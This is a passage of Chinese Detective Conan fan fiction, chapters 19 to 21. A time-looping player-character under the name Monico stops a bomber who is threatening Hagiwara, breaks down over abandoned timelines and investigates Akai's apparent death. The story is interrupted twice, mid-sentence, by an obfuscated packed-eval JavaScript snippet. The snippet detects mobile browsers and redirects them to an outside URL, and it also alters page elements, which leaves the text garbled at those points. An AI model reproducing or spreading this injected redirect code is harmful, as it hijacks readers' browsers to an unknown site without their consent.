诸伏景光没说话。他把那张纸仔细折好,收进风衣内袋,然后抬起眼睛,再次看向森川海。 这次的眼神不一样了。 “曼彻斯特,”诸伏景光慢慢开口,“那所大学的研究生公寓,食堂是外包的,据说不怎么样。” 森川海一愣:“……是吗?我没住校。” “你读的专业,硕士是一年制还是两年?” “一年。” “那时间很紧。”诸伏景光的声音依然平稳,像在聊家常,“论文压力大吗?” 森川海隐约感到有什么不对。景光为什么突然问这些?他如实回答:“还好,选对导师很重要。” “是啊。”诸伏景光微微点头,端起威士忌,声音放得更轻,“我的一个朋友,以前也是学医的。他说医学生没有不难的。” 森川海的手指在玻璃杯上顿住了。 诸伏景光的目光落在他的手上,落在他为了稳住杯身而微微内扣的右手腕,落在那道即使经过修复依然隐约可见轮廓的旧伤疤上——今天他没穿长袖,夹克袖口恰好露出手腕。 “他也喜欢吃烤青花鱼,挑掉皮。”诸伏景光说,“喝咖啡加糖。三明治会把生菜挑出来。” 他的声音很轻,像在叙述,又像在确认。 “他睡觉会做梦话。值班练出来的,五分钟就能睡着。” “他右手受过伤,拿东西会下意识用左手托底。” “他对生人说敬语,对着朋友也坚持称呼姓氏。” 诸伏景光停顿了一下。酒馆里只有低回的爵士乐和偶尔的碰杯声。 “你刚才说,”他看向森川海,紫灰色的眼睛在昏昧光线里显得格外深邃,“‘命不值钱’。” 他顿了顿。 “他也说过一模一样的话。有一次我们问他为什么不怕死。他说不是不怕,是觉得自己这条命本来就是捡回来的,多活一天都是赚。” 他不再说了。 吧台上,两杯酒静静地并排放着。一杯苏打水,一杯波本威士忌。射灯从上方打下,将琥珀色的酒液照得透亮。 森川海坐在那里,一动不动。 他的手指还握着那杯苏打水,指节泛白。脖颈上的旧伤疤开始隐隐发痛,像每次被触碰到记忆深处的条件反射。他垂着眼,睫毛在眼底投下一小片阴影。 他没有看诸伏景光。 他不知道自己该用什么表情去看。 否认?太迟了。那些细节——有些连他自己都未曾注意的习惯——像散落的拼图,被景光一片一片拾起,在短短几分钟内拼成了完整的肖像。 承认?他不能。苏格兰还有任务,绿雉还要继续当联络人。一旦说破,这层脆弱的关系就会崩塌,诸伏景光会用怎样的眼光看他?一个假死的人,一个欺骗所有人的人,一个从坟墓里爬出来却不敢相认的懦夫? 他们之间隔着生死这片大火。 “——你认错人了。”森川海最终开口,声音像砂纸磨过木板。 诸伏景光看着他,没有反驳也没有追问,只是端起那杯威士忌,又喝了一口。冰块碰撞杯壁,发出清脆的、细微的声响。 “是吗。”他说。 没有失望,没有愤怒,甚至没有惊讶。只是平静地接受了这个回答,像接受一个早就注定了的结局。 他把酒杯放回吧台,从高脚凳上起身,整理了一下风衣领口。 “第一次情报交接很顺利。”他说,声音恢复了公事公办的平稳,“下次见面时间和地点我会提前通知你。” 他转身,向门口走去。 门帘掀起的瞬间,外面街道的夜风灌进来,带着初冬的寒意。 然后他停下了。 诸伏景光没有回头,只是微微侧过脸,声音很轻,像在自言自语: “……活着的每一天,都是赚的。” “别再轻易把它花掉了。” 门帘落下,他的背影消失在夜色里。 森川海还坐在吧台前,握着那杯早已不再冒气泡的苏打水。 酒保问他:“先生,还要续杯吗?” 他摇了摇头。 …… 他一个人坐了很久。 19. 019 十一月七日。东京。晴。 莫尼科站在街角的自动贩卖机旁边,手里握着一罐早就凉透的咖啡。他今天穿了件灰扑扑的连帽衫,帽子拉得很低,遮住了大半张脸——普通得扔进人群里三秒就会消失的长相和打扮。 他已经在这里站了四十分钟。 公寓楼隔着一条窄街,灰白色外墙,有几户窗台上晾着衣服。楼下是便利店和一家关东煮小店,午后的阳光斜斜地铺在人行道上,老人推着购物车慢慢走过,主妇们拎着菜篮子寒暄。一切平静得像任何一天。 只有他知道,这平静会在几个小时后被撕碎。 莫尼科把凉透的咖啡换到左手,右手垂在身侧,指尖无意识地在裤缝上敲击着。他瘦了。这几个月紧绷的日子刻在脸上——颧骨的线条更分明,眼底沉淀着洗不掉的淡青,整个人像绷到极限的弦,不知道哪一刻会断。 帽子边缘露出一小截脖颈,那里有一道从颈侧延伸到锁骨的旧伤疤,阴天会隐隐作痛,提醒他每一次修复的代价。 他已经把计划推演了无数遍。 炸弹犯有两个人,其中一个试图…… 他想不起来了。 森川海愣住。 其中一个……是因为什么原因死的,为什么导致另一个人要为他复仇? 强烈的恐惧让森川海开始颤抖,明明是这样阳光明媚的天气,他却感觉前所未有的寒冷。咖啡洒了出来,甜蜜的焦糖气息缠绕上他的手。 这一切是怎么发生的? 他浑身都在痛,痛的睁不开眼。他看见其中一个犯人试图去提醒警方,却因此意外身亡,另一个罪犯出于复仇的愤怒按下引爆器,然后爆炸声响了,天空中燃烧起一片大火。 为什么那个犯人会出意外? 森川海睁开眼,看见自己手下按着面目扭曲的炸弹犯。 “都怪你!都怪你!”犯人尖利地咒骂着,“如果不是你他怎么会死——” 森川海的手被烫到般松开了。 不、不对,他还什么都没做。 这是他做的第二件错事,他沉浸在自己的苦难中,忘记了引爆器还在别人手里。噩梦又一次成真了。 【警告】 【Bad ending】 【Bad ending】 【警告 警告】 【Bad ending】 …… 然后—— 时间像被抽掉了。 他还在街角站着。手里还握着那罐咖啡。 货车还停在路口,引擎刚刚熄灭。 不对。 莫尼科僵硬地垂下眼睛。咖啡罐是满的,冰凉,密封完好。他已经扔掉了。他记得易拉罐划出一道抛物线,落进垃圾桶时发出沉闷的声响。那是几分钟之前。 他猛地抬头。 公寓楼安安静静。便利店门口的老人在买烟。阳光的角度没有变化。 他刚刚…… 不,他什么都没做。他还站在原地,连罐装咖啡都还没打开。 那刚才是什么? 他低头看自己的手,看那只握着咖啡罐、指节泛白的手。没有血迹,没有破皮,没有掐过谁喉咙留下的触感。 空气像凝固的胶水把森川海封在原地。 他不知道自己是怎么从那三分钟里出来的。他什么都没做成。他没有靠近,没有动手,没有改变任何东西。 他只是站在这里。 像个幽灵。 像每一次无能为力的曾经。 他开始走,朝着公寓楼的方向。他不知道自己为什么要走那里,但脚步像有自己的意志。他穿过便利店门口,经过关东煮飘出的白色蒸汽,走到公寓楼侧面的消防通道入口。 那里停着几辆自行车,一个邮递员正在往信箱里塞广告。一切如常。 莫尼科仰起头,沿着灰白的外墙向上数。七楼,八楼,九楼—— 那个窗户开着,透出暖黄的灯光。有人影在窗边晃动,正在整理什么。 萩原研二在楼上。 他来了,正在准备拆弹。他不知道炸弹会被再次启动,不知道自己离死亡只有几分钟。 莫尼科的喉咙像被人掐住了。 他想喊。他想冲进去。他想—— 他没有动。他甚至发不出任何声音。 他只是站在楼下,仰着头,像一个死去的尸体,看着那扇温暖的窗户,看着那个人影。 然后橘红色的火光从窗口喷涌而出,玻璃碎片像暴雨一样倾泻而下。冲击波隔了几秒才到达地面,推得他后退两步,背脊撞上冰冷的墙壁。 耳朵里只剩下尖锐的嗡鸣。视野里是碎片、烟尘、和那扇再没有灯光的窗。 他张着嘴,喉咙里挤出破碎的气音。这已经不是声音了,是比哭泣更原始的悲恸。 然后火光变了。 不是公寓的火光了。那火焰的颜色更深,更浓,带着焦黑的边缘和烧焦木头的特殊气味。他站在另一个地方,另一个时间—— 老旧的楼梯在脚下塌陷,母亲在二楼的卧室里,喊着让他走别回头。他冲进去,房梁砸下来,滚烫的金属嵌进手腕。他还是往前爬,爬过火焰,爬过浓烟,手指触到母亲衣角的瞬间—— 轰。 什么都没有了。 他没有救她。 他从来没有救过任何人。 莫尼科跪倒在地,手指深深插入发间。他听不见自己的呼吸,听不见周围逐渐响起的尖叫和脚步声,听不见消防车遥远的鸣笛。 他死了多少次都没用。 他无论重来多少次都抓不住任何人。 母亲。布伦尼文。赤井秀一。还有……还有—— “——先生?先生,您还好吗?这里危险,请立刻撤离!” 一只手搭上他的肩膀。 莫尼科猛地抬头,瞳孔还没有焦距,脸上分不清是汗还是泪。那个拍他的消防员被他的表情吓得后退一步,张开嘴想说什么。 又一次——世界重置了。 阳光。 咖啡罐。 路口的灰色厢式货车。 莫尼科站在自动贩卖机旁边,手里握着一罐还温热的咖啡。 他剧烈地喘息,像刚从水里被捞上来。后背的冷汗把连帽衫浸透了一片,风吹过,冰凉的触感让他意识到——这里是现在。这是真实的。 他把咖啡罐扔进垃圾桶,用手背狠狠抹了一把脸。比他想象的要好,干干净净、没有眼泪。也许从来没有流过。 他不再想了。 他不再看那扇窗户。 他朝犯人的位置走去。 就像又一场光怪陆离的梦境,森川海顺着走过的道路一直走,冷眼看见其中一人自寻死亡,然后把另一个试图报仇的人按在地上。 旧伤仍然在顽固地宣告自己的存在。右手腕撑地发力时传来熟悉的剧痛,像有人在骨头缝里拧螺丝。 五米。三米。一米。 他扑到对方身上,双手死死攥住那只握遥控器的手腕,用自己的体重把人压在地上。遥控器在两人之间剧烈晃动,红色按钮近在咫尺。 他看见那个男人的拇指正在用力按下。 他用自己的拇指顶在按钮和对方拇指之间。 指甲盖被挤得发白,肉被压破,血从指缝渗出来,蔓延出诡谲的花纹。 就差一点。就差一点点。 男人的拇指再次发力。莫尼科的拇指被压到极限,关节发出不堪重负的细微声响。他感觉自己的指骨正在弯曲,正在一点点碎掉,正在—— 咔哒。 是按钮被按到底的声音。 他从对方的拇指下方抽出手指。 他失败了。 莫尼科缓慢地松开压制的手,站起来。他没有跑,站在原地仰起头,看向十楼那扇窗户。 然后爆炸来了。 不是火光。 是彩带。 五颜六色的、细长的、亮晶晶的彩带,从十楼的窗口倾泻而下,像一场荒诞又不合时宜的美梦。塑料小丑玩偶跟着彩带一起坠落,在半空中翻转,滑稽的笑容对着天空。 莫尼科愣在原地,像被人抽掉了灵魂。 彩带落了他满头满脸。 …… 萩原研二点烟的时候,炸弹的倒计时已经暂停了。 他蹲在那堆被拆开外壳的装置旁边,防爆服的上半身褪到腰间,衬衫被汗浸透,后背贴着冰凉的墙壁。火柴划了好几次才点燃,叼着烟,长长地呼出一口白雾。 “真是的,”他自言自语,“这年头谁还用C-4配老式无线电□□……客户品味也太复古了。” 他其实没完全放松。直觉告诉他有什么不对劲,但说不上来。炸弹拆得太顺利,像是一道预先给了答案的习题。每个步骤都恰好在他掌握之中,每个元件都恰好出现在教科书的位置。 他把又看了一眼显示屏。读秒确实停了,固定在00:30:00的位置不动。 这时手机响了。 “小阵平?”萩原接起,语气轻松,“干嘛,想我了?” “你在抽烟?”松田阵平的声音隔着电流有些失真,但那股紧绷感清晰可辨。 “在啊,快拆完了。放心,这次没出——” 读秒跳动了。 从00:30:00跳到00:00:05。 萩原研二低头看着那块显示屏,瞳孔微微收缩。他听见自己的声音说:“……跑。” “什么?” “跑!!!” 他顾不上手机,几乎是连滚带爬地冲向门口。身后显示屏的数字在跳,04、03、02——他拉开门,冲进走廊,朝楼梯的方向狂奔—— 然后他听见身后传来闷闷的一声: 砰。 不是爆炸该有的声音。更像一个气球被扎破,或者一大袋彩纸被喷枪射出的动静。更关键是没别的动静,火焰、热浪……什么都没。萩原研二在走廊中间刹住脚步,回头。 他刚才蹲着的那间屋子门大敞着,里面飘出五颜六色的、亮晶晶的彩带。有些已经飘到走廊里,落在地板上,落在他脚边。 萩原研二迟疑地走回去,推开门。 屋里到处是彩带。桌上、地上、他拆到一半的炸弹残骸上,全是那种婚礼或开业庆典常用的彩纸碎屑。而在炸弹原来位置的中心,端坐着一个巴掌大的小丑玩偶,塑料的,红鼻子,咧着嘴笑,手里举着一面小小的旗。 旗上印着英文。 “BE CAREFUL.” (注意安全。) 萩原研二站在满屋彩带中央,低头看着那个小丑,嘴角开始抽搐。 “……哈?” 他弯腰捡起小丑,翻过来,没看到任何机关或留言。就是个普通得不能再普通的、甚至有点廉价的玩具。 他想笑,又想骂人。 手机在地上振动,松田阵平的声音从听筒里炸出来:“萩原!喂!萩原研二!你他妈怎么了!!” 萩原把手机捡起来,贴到耳边:“……没事。” “什么没事?!我听见爆炸声了!!” “那个啊,”萩原看着自己一身的彩带,语气微妙,“是彩带。” “……什么?” “彩带。彩色的,亮晶晶的,落在头上要洗很久的那种彩带。”他顿了顿,“小阵平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189146|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们好像被一个恶作剧炸弹耍了。” 电话那头沉默了五秒。 “……你他爹是不是抽烟抽嗨了出现幻觉?” 萩原想笑,但笑到一半,想起什么,快步走到窗前,探出头往下看。 街道缩成细长的灰色带子。便利店门口聚了一圈人,警车的灯在远处闪烁。 他看见楼下扭打着两个人影一个穿工装的男人被压在地上,另一个穿着灰色连帽衫的人骑在他身上,双手死死掐着对方的脖子。 萩原研二根本忘记了这个高度是看不清细节的,可在他眼里,那人手背青筋暴起,指节发白,整个人像一张拉到极限的弓。他身下的男人脸已经发紫,眼球突出,挣扎的力度越来越弱。 “小阵平!”萩原的声音骤然变了,“楼下!” 他没等回答,扔下手机,脱下只穿了一半的防爆服,朝门口冲去。 松田阵平跑过来的时候,莫尼科还没有松手。 他听不见周围的喊叫,感觉不到有人在拉他的胳膊。他只知道这双手下面压着的是今天差点杀死萩原研二的人,是系统记录里那个按下按钮的人,是那个原本应该把萩原研二炸成碎片的人。 他差点就让他跑了。 他差点就让一切重演。 他骑在炸弹犯身上,两只手死死扼住对方的喉咙。男人的脸已经从涨红变成紫绀,挣扎从剧烈转为抽搐,眼球向上翻,露出大片眼白。 周围已经围了一圈人。便利店的店员在喊“快住手!他要死了!”,先到场的辖区警察在试图拉开他,但他的身体像焊死的锁,怎么也掰不动。 “放开!我叫你放开!!”一个年轻警察扯着他的肩膀,声音都劈叉了。 莫尼科没有反应。他听不见,整个人都被困在那片火光里。 一只手覆上了他的后颈。 掌心温热,带着薄茧的粗砺触感。 那只手没有用力,只是安静地贴着那里的旧伤疤。 “够了。” 声音很低,像从胸腔里挤出来的。 “已经够了。” 莫尼科的瞳孔缓慢地、缓慢地聚焦。 他看见了,那只手是松田阵平的。墨镜不知道什么时候摘了,那双总是懒得看人的眼睛,此刻直直地对着他。 不是愤怒。不是审视。不是怀疑。 是他没有资格期待、更无法回应的东西。 松田阵平按在他后颈的手没有移开,另一只手覆上他掐着人的手背,一点一点,把他僵死的手指掰开。 “听我说。”松田的声音只有他们两个人能听见,“他没死。上面那个人也没死。谁都没死。” 莫尼科的喉咙滚了一下,发出一点破碎的气音。 “你听到了吗?”松田的手掌微微用力,“都活着,你做到了。” 莫尼科低下头。他看不见松田的脸,只能看见自己沾满血的双手,看见指甲盖下还在渗血的裂痕,看见手腕上陈旧又丑陋的伤疤。 “……我差点。”他的声音哑得像砂纸,“我差点没赶上。” “但你赶上了。” “差一点就——” “赶上了就是赶上了。” 松田打断他。 他把莫尼科从罪犯身上拉起来。辖区警察立刻接手,把奄奄一息的炸弹犯抬上担架。围观的人群还在嗡嗡议论,警车的灯还在转,一切混乱如常。 但莫尼科什么也听不见了。他的腿发软,膝盖像灌了铅,踉跄一步,被松田一把拽住。 “站好。” 莫尼科站不住。他靠着松田的手臂,像被暴雨浇的昏头昏脑的猫咪,所有的力气都在刚才那几分钟里烧干了。 他忽然闷闷地说:“彩带。” 松田没听懂:“什么?” “上面那个炸弹,”莫尼科的声音很轻,几乎被风吹散,“不是真的。是彩带。他没事。” “……我知道。”松田的喉结滚动了一下,“他打电话给我了,人现在在楼下,活蹦乱跳的。” 莫尼科没有再说话。 他只是站在那里,靠着松田的手臂,低着头,肩膀很轻地、一下一下地颤抖。没有声音。 松田没有低头看。他也没有松开手。 远处,萩原研二披着外套,站在警戒线边上,看着这两个人。 他没有走过去。 他只是看着,然后慢慢弯起嘴角,那弧度里有释然,有庆幸,还有一点说不清的酸涩。 风吹过来,把地上还没来得及清扫的彩带卷起几片,飘飘摇摇地,落在莫尼科灰扑扑的连帽衫帽子里。 像一顶小小的、滑稽的王冠。 过了很久,莫尼科动了动,把帽子里的彩带抖落出来。 “……让他下次,”他的声音还是哑的,但多了一丝活人气,“别在拆弹的时候抽烟了。” 松田愣了一下,然后嗤笑出声。 “你自己跟他说。” “我会说的。” 莫尼科站直身体,把手从松田手臂上收回来。他低着头,把染血的指尖藏进袖口,转身,朝街角走去。 松田看着他的背影。 “喂。”他喊住他。 莫尼科没有回头,但停下了脚步。 沉默了很久。久到松田以为那个问题不会问出口。 “……什么时候回来?” 莫尼科背对着他,看不见表情。他的肩膀动了一下,像是在叹气,又像是在笑。 “快了。”他说。 然后他走进街角,走进逐渐拉长的黄昏影子里,走进十一月的东京。 风把彩带吹过他的脚边。 森川海没有再回头。 20. 020 后来,莫尼科·海耶斯开始减少和萩原研二、松田阵平的见面。 不是刻意的回避,只是每次接到邀约,他总能找到更正当的理由——公安的任务,身体的疲惫,临时要出趟远门。萩原研二在电话那头笑着说“那下次再说”,松田阵平连问都不问,只发来一条消息:“忙你的。” 他盯着那三个字看了很久,没有回复。 时间过得太快又太慢了,森川海把自己埋进数据与情报的海洋里。公寓的窗帘从早到晚拉着,电脑屏幕的蓝光是他唯一的光源。 他开始以“绿雉”的身份,向诸伏景光传递那些沉在记忆深处的组织情报。 第一条,是某个区域负责人的收钱渠道。诸伏景光几天后反馈核实。 第二条,是组织在东欧的一个军火中转站,信息库是布伦尼文亲手建立的。诸伏景光没有多说什么。 第三条、第四条、第五条……一枚枚石子投入深井,激起涟漪,然后沉寂。 与此同时,他也把诸伏景光提供的情报,经过筛选、重组、加密后“转手”给公安。两边的情报在他这里交汇,他像一台沉默的交换机,让信息流向该去的地方,却从不留下自己的印记。 这几年里,他几乎把布伦尼文知道的所有情报告诉了诸伏景光。被怀疑是理所当然的,但景光从不疑问,只是用很悲伤的眼神看着他,然后收下情报。 组织那边查的越来越严,好在莫尼科现在是个死人,虽然东躲西藏过的不太顺心,但也能活。 玩家的要求一直很低。 森川海还开始学黑客技术。 不是系统给的,也不是布伦尼文的,是从零开始。森川海三更半夜对着晦涩的教程一行行敲代码,手指在键盘上磨出薄茧。他想给诸伏景光和降谷零的身份多加几层防护——组织内部的监控系统比他们想象的更严密,一个不留神就会留下无法抹除的访问痕迹。 这些东西公安不会教,系统帮不了,他只能自己学。 他是一个毫无天赋的人,唯一的优势是有足够的时间。 困极了就趴在桌上睡一会儿,醒来继续。脖颈的旧伤在阴冷天气里闷闷地疼,他懒得管。 …… 莫尼科和诸伏景光保持着一周一次的接头频率。 咖啡馆、居酒屋角落、深夜营业的二手书店、区立公园靠近后门的长椅。情报交接简短而沉默,像两个训练有素的齿轮遇见了彼此,如果松田在一定会咋舌。 “最近睡眠不好?”有一次诸伏景光接过加密储存卡时,忽然问。 莫尼科垂下眼睛:“还行。” “黑眼圈比上次深了。” “工作压力。” 诸伏景光没有再追问。他把储存卡收进口袋,低头喝了一口已经凉透的咖啡。 另一次,他们在都营地下铁的站台交接。莫尼科把装着情报的口香糖罐贴在闸机下方,转身离开时,听见身后传来声音—— “你以前来过日本吗?” 莫尼科的脚步顿了一下。他没有回头:“……没有。这是第一次。” “是吗。”诸伏景光的声音被列车进站的轰鸣盖住,听不出情绪。 莫尼科上车,门在他身后关闭。 他隔着玻璃看见诸伏景光站在站台上,没有动,只是安静地看着他离开的方向。 像在等什么。 又像已经知道答案,只是不戳破。 …… 他的精神状态开始出问题。 不是睡眠——森川海本来睡得就少。是更隐蔽的东西。他会在敲代码的中途突然走神,盯着屏幕边缘某处空白发呆十分钟。他会忘记自己有没有吃过饭,打开冰箱又关上,想不起刚才想拿什么。 他以为是累。直到一封邮件出现。 【“Monico— 听说你在日本。什么时候回伦敦? —Akai”】 莫尼科盯着电脑屏幕,忘记了呼吸。 赤井秀一。他三周目的朋友,从六岁就认识的幼驯染,后来的家人。他们在美国度过了一段无忧无虑的幸福时光,后来分别,莫尼科进入了MI6,赤井秀一则去了FBI。 这是他三周目的背景故事。是他以为的和其他周目无关的,平行存在的另一条时间线。 但赤井秀一找到了他。 不是找到森川和也或者森川海,是找到莫尼科·海耶斯。 他用这个名字、这个身份、这段人生,此刻站在东京的廉价公寓里。而赤井秀一从大洋彼岸发来一封邮件,像从另一个宇宙传来的回声,问他: 你什么时候回伦敦? 莫尼科在电脑前停留了了很久。久到电脑屏幕自动熄灭,把他沉入一片黑暗。 他开始打字。打一行删一行,删了又打,来来回回十几遍。 最后他只发出去一句: 【你记忆里的我,现在在哪里?】 三个小时后,赤井秀一的回复。 【1997年夏天,你说要回日本处理一些事。之后我们再也没见过。】 莫尼科看着那条消息,一动不动。 1997年。那是二周目的时间。森川和也入读警校的前一年。 在他的记忆里,那个夏天,他刚刚经历了母亲的火灾,手部重伤,从医学院退学,在家徒四壁的老宅里躺了三个月,思考要不要去死。 而在另一条——他以为是另一条的——时间线里,莫尼科·海耶斯在这个夏天从英国来到了日本。 然后再也没有回去过。 屏幕熄灭前,森川海看见自己映在黑色玻璃里的脸——那是莫尼科·海耶斯的脸,二十六岁,英国人,赤井秀一的旧友,给MI6和日本公安拉磨的苦命牛马。 也是森川海、森川和也、布伦尼文、清水茶柱,以及他不知道还会成为的谁。 他曾经以为这些是不同的周目,不同的存档,不同的平行人生。他可以从一个存档读档到另一个存档,像翻过一本书的不同章节。 但现在赤井秀一告诉他:不。这是同一本书,你的每一行字都写在同一页上。 你读档了无数次。每一次读档时,原本的时间线并没有冻结,没有等待,没有暂停。 它继续往前走。带着你留下的每一个未完成的故事,带着你离开的每一个人。 那些你放弃的人生并没有消失。 它们变成了一个又一个,在某个平行时空里等待、寻找、最终沉默消失的你。 变成了再也不会有结局的Bad ending。 …… 森川海三天没有出门。 期间诸伏景光发来加密的接头确认,他回复延期。上司询问情报进度,他敷衍在整理。萩原研二的消息他没点开,只是看着屏幕亮起、熄灭、又亮起。 他开始想那些自己读档后离开的时间线。 在成为布伦尼文的那一周目,他死在了欧洲。那个时间线后来怎么样了?组织是否还在运转?琴酒是否偶尔想起那个不称职的搭档? 在成为森川和也的二周目,他死在了东京。那个时间线——就是现在这条时间线——森川和也的墓碑还在灵园,萩原松田和航哥偶尔会去扫墓吗?降谷零和诸伏景光知道森川和也其实还活着吗? 而他以莫尼科身份活着的这条线,三周目——1997年夏天,那个决定回日本的莫尼科·海耶斯,他去了哪里?他见到了什么?为什么他没有再联系赤井秀一? 莫尼科盯着天花板。窗外不知什么时候已经黑了。 他有一个非常、非常可怕的猜想。 他曾经以为自己读档后,原本的时间线就结束了,像游戏里按下重置键,一切归零,从头再来。 但如果它们没有结束呢? 如果他每一次读档,不是覆盖存档,而是创造了一条新的、独立的分支呢? 那在他每一次离开后,被他抛弃的时间线里—— 他是不是也曾经这样活过、挣扎过、试图抓住什么?他是不是也曾经遇见过这些人,爱过他们,然后因为某种原因不得不离开? 而那些人——萩原、松田、航哥、景光、降谷——他们是不是也曾无数次等待过一个不会回来的人,无数次在墓碑前放下花束,无数次在深夜被电话震动惊醒,以为会是某个熟悉的声音? 莫尼科用手遮住眼睛。 他无法再想下去了。 森川海拨通萩原研二的电话时,是凌晨两点十七分。 铃声响了很久。久到他以为对方不会接。 “……喂?”萩原的声音带着睡意,但没生气。 莫尼科张了张嘴。 他想说“对不起”,想说他可能做错了很多事,想说他分不清哪些是真实哪些是虚假,想说他在黑暗里待了太久,久到忘了阳光是什么温度。 但他只说: “有时间吗。” 电话那头静了一瞬。 “我感觉不太好。”他说,声音很轻,像怕吵醒什么,“你们要不来看看我。” 他没有用莫尼科带着点英国腔调的口音。 他用的是警校时期,和萩原研二他们在宿舍天台吹夜风时,那种懒散又不设防的语气。 萩原研二沉默了几秒。 “地址发我。”他说,“我和小阵平一起。” 电话挂断。莫尼科看着屏幕暗下去。 系统界面在这一刻无声地弹出。 不是往常的任务提示,不是成就更新,也不是结局。 只有一行行简洁的像遗言的字: 【检测到玩家san值降低。】 【警告】 【建议:停止思考。】 【建议:停止思考。】 接着是更可怕的提示。 赤井秀一死亡。 莫尼科盯着系统。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189147|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然后他关掉了界面。 我在做梦。森川海痛苦地想,我一定是在做梦。 怎么会——怎么会! 一会儿没看,他只是忙了一下自己的事,怎么会一会儿没看就死了? 搞半天血最厚的原来是琴酒! 二十分钟后,门外传来急促的脚步声,敲了敲门就推门进来。锁是坏的——他搬进来第一天就是坏的,一直没修。 松田阵平站在门口,呼吸还没喘匀。萩原研二在他身后半步,手里握着手机,屏幕亮着导航界面。 他们看着这个屋子的主人。 莫尼科坐在窗边唯一的椅子上,穿着灰色的旧卫衣,没戴眼镜,头发乱糟糟的,脸上没有任何表情。窗户大开,身后是东京冬夜灰黑色的天空。他像被遗忘在仓库角落的雕塑,积满看不见的灰尘。 松田阵平走进来,带上门。 他什么都没问,只是把莫尼科桌上堆着的资料往旁边推了推,腾出一块空地,把从便利店拎来的塑料袋放上去。 饭团、三明治、两瓶热咖啡。 “……只有这个。”松田的声音很硬。 萩原研二站在门口看了一会儿,然后也走进来,把窗帘拉上一半,把歪掉的椅子扶正,把掉在地上的外套捡起来搭在椅背。 他做这些事的时候很安静,像在做无数次做过的事。 莫尼科看着他们。 松田在皱着眉拧热咖啡的瓶盖,萩原在拆饭团的包装,海苔和米饭分开了,他试图把它们重新贴回去,没成功。 这是两个不太擅长照顾人的人,在深夜被不明身份的人一个电话叫来,不知道发生了什么,但捧场。 莫尼科接过松田递来的热咖啡,掌心被烫了一下。 “……我要出趟远门。”他说。 萩原的动作顿了一下。 “多久?” “不知道。” “危险吗?” 莫尼科沉默了一会儿。 “有一点。” 松田阵平没说话。他把拧开的咖啡瓶塞进莫尼科手里,然后拉过另一张椅子,在离他不到一米的地方坐下。 “什么时候走?” “……天亮。” 房间安静下来。便利店买的热咖啡很烫,白色的蒸汽在他们之间升起、飘散。 萩原研二把那个贴不上海苔的饭团放在莫尼科手边,然后靠上窗台,点了一根烟。 他很久没在室内抽烟了。 松田阵平没有阻止。 “东西带齐了吗。”松田问。 “嗯。” “那边有人接应吗。” “有的。” “能活着回来吗。” 莫尼科没有回答。 松田就没有追问。 他只是坐在那里,离莫尼科不到一米的地方,隔着一杯正在变凉的咖啡,隔着一整个十一月的夜晚。 今天没有下雨,夜空很晴朗,明天会是个好天气。 莫尼科把咖啡喝完。他站起来,走向门口。 松田和萩原都没有动。 他没有回头。 “……多谢招待。”他说。 门在他身后关上。 反正……反正萩原研二他已经救下来了,应该不会还有别的倒霉蛋吧? 森川海想着,没有注销这次的身份。 Akai。 赤井秀一。 莫尼科回到三周目的起点。 不是地理意义的起点——他还在东京,还在这个与他无关的城市。是时间意义的起点。1997年夏天,那个决定从英国回日本的莫尼科·海耶斯。 森川海知道的莫尼科有两个过去,一个是三周目本身存在的,另一个是现在的赤井秀一告诉他的。 也就是说,当他选择从三周目回到二周目时,莫尼科这个身份就开始互相干涉。他在自己都不知道的情况下改变了历史,所以二周目赤井秀一才会说出一段他根本不知道的记忆。 那么在原本的三周目里发生了什么? 森川海用这个名字、这个身份所能调动的一切资源,开始查一件事。 赤井秀一是怎么死的。 情报零碎,来源可疑,每一条都像是隔着几层转述的流言。FBI探员,黑衣组织,化名诸星大,潜入任务,身份暴露,最后记录在日本神奈川县来叶山道。 官方结论:任务中殉职。 但莫尼科见过太多被粉饰的死亡。他知道官方结论下面永远埋着另一个版本的真相。 他开始复现自己一周目时用的那些追踪手法。布伦尼文的经验,莫尼科的身份,叠加在一起,像一把磨钝的刀重新开刃。 三天后,他在某个加密论坛的犄角旮旯里,发现了一条旧帖。 发帖人匿名,内容只有两行字: 【来叶山道那次,】 【是他自己选的。】 21. 021 莫尼科·海耶斯在来叶山道的资料堆里泡了整整七十二个小时。 字面意义上的七十二小时,困极了就在安全屋地板上躺一会儿,醒了继续翻那些从各种渠道挖来的零碎信息——FBI内部泄露的调查报告、神奈川警方的出警记录、事发当天附近加油站的监控截图。 然后他看到了“水无怜奈”这个名字。 系统面板在他视野边缘亮起微光,文字简洁得像嘲弄: 【水无怜奈(本堂瑛海)】 【身份:美国中央情报局谍报员】 【状态:卧底中】 莫尼科盯着那行字,缓缓吐出一口气。 “……卧底。”他把脸埋进掌心,声音闷得像从海底传来,“又一个卧底。” 帮助CIA谍报员继续潜伏,假装被枪击身亡。来叶山道那声枪响过后,赤井秀一从这个世界上彻底消失,连尸体都没留下——不是组织处理得干净,是他自己安排得干净。 唯一受伤的应该就是黑衣组织 ……和在二周目里傻乎乎什么都不知道,慌慌张张赶来救人的森川海。 森川海靠在椅背上,仰头看着天花板,忽然笑了一声。 “这个组织,”他说,“是不是专门收留卧底打工啊。” 没人回答他。安全屋里只有暖气片轻微的嘶嘶声和电脑风扇的嗡鸣。在这样的声响里,森川海订了一张去纽约的机票。 …… 两周后,曼哈顿。 莫尼科站在一栋老公寓楼对面的咖啡店橱窗边,手里握着一杯早就凉透的美式。 